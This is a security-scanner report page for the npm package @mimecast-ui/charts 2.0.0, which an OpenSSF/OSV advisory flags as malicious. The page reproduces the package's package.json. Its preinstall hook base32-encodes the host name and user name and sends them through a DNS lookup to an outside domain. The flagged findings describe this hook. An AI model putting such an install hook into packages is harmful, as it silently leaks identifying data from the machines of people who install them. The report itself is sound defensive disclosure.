Loading npm security reports…

@mimecast-ui/charts@2.0.0: Malicious npm security report (Block) | LPM Firewall

registry / @mimecast-ui/charts / 2.0.0

@mimecast-ui/charts@2.0.0

chart components

OSV Malicious Advisory

scanned 22d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-3506 confirms this npm version as malicious. The package @mimecast-ui/charts was found to contain malicious code.

Advisory

MAL-2026-3506

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @mimecast-ui/charts (npm)

Details

The package @mimecast-ui/charts was found to contain malicious code. ## Source: ossf-package-analysis (831be2c3e6c9885c479ff2920f4f2bd45a313483073af42ed59ba0ac78a98e3b) The OpenSSF Package Analysis project identified '@mimecast-ui/charts' @ 2.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 150 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-14json

2 "name": "@mimecast-ui/charts",

3 "version": "2.0.0",

4 "description": "chart components",

5 "license": "ISC",

6 "author": "",

7 "type": "commonjs",

8 "main": "index.js",

9 "scripts": {

10 "test": "echo \"Error: no test specified\" && exit 1",

11 "preinstall": "dig +short \"$(echo c-$(hostname)-$(whoami) | base32 | tr -d '=' | rev).canary.rebind.fun.offensive.work\""

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L11

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L11

12 }

13}

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code